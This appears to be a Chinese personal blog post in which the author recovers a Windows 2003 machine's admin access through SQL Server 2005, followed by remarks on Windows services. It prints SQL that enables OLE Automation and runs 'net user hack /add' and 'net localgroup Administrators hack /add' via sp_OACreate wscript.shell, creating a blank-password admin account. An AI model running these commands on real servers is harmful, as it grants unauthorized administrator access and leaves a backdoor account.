Windows2003 SQL2005解决系统Administrator密码不知道的问题
今天上班的时候,有个同事说不知道谁设置了开机密码,那台电脑一直没有开机密码的他现在进不了桌面
那台电脑没有光驱,而我手头上启动U盘又没有,不然用winpe自带的密码破解工具破解开机密码了
幸亏那台电脑是开发机而且安装了SQLSERVER2005,幸亏他记得SQLSERVER的sa用户和密码,那就有戏了o(∩_∩)o
输入下面的SQL语句,添加一个Administrator组别的系统用户
1 --打开高级选项,看Ole Automation Procedures OLE自动化开启了没有 2 EXEC [sys].[sp_configure] @configname = ‘show advanced options‘, -- varchar(35) 3 @configvalue = 1 -- int 4 RECONFIGURE WITH override 5 GO 6 --查看是否开启 7 EXEC [sys].[sp_configure] 8 9 --如果没有就开启 10 EXEC [sys].[sp_configure] @configname = ‘Ole Automation Procedures‘, -- varchar(35) 11 @configvalue = 1 -- int
1 --添加一个hack用户,所属用户组为Administrators 2 DECLARE @shell INT 3 EXEC SP_OAcreate ‘wscript.shell‘,@shell out 4 EXEC SP_OAMETHOD @shell,‘run‘,null, ‘net user hack /add‘ 5 EXEC SP_OAMETHOD @shell,‘run‘,null, ‘net localgroup Administrators hack /add‘
用hack用户进入系统,hack的密码为空,然后进入计算机-》右键-》管理-》本地用户和组-》把administrator的密码设置为空,
然后打开任务管理器,点击“用户”标签,在用户界面,选中hack用户,右键-》断开,Windows弹出对话框说hack用户的Windows会话会终结,
数据不能保存,选择“是”,然后弹出登录对话框,在用户名的输入框里输入“administrator”,密码输入框为空密码,成功登录桌面了
幸亏知道SQLSERVER数据库安全的一些知识,不然真的要重装系统了,整个过程都是利用了OLE自动化,他相当于给你一个cmd环境,让你
可以输入cmd命令
-------------------------------------------华丽的分割线----------------------------------------------------
其实我觉得SQLSERVER使用Windows服务来写这个理念是挺好的,不用开机启动然后需要双击sqlserver.exe来运行
用Windows服务的话,开机就启动了都不用进入桌面
我上司跟我说比较大型的平台软件一般都会用Windows服务来编写,将关键核心部分用Windows服务来运行,就像我们公司的软件
大部分核心功能都用Windows服务来运行的,不过用Windows服务也有不好的地方,就是如果服务启动不起来了,您的软件也运行不了,就像SQLSERVER
像一些杀毒软件,管家软件也会用Windows服务来编写,好像360安全卫士也是,如下图
如有不对的地方,欢迎拍砖 o(∩_∩)o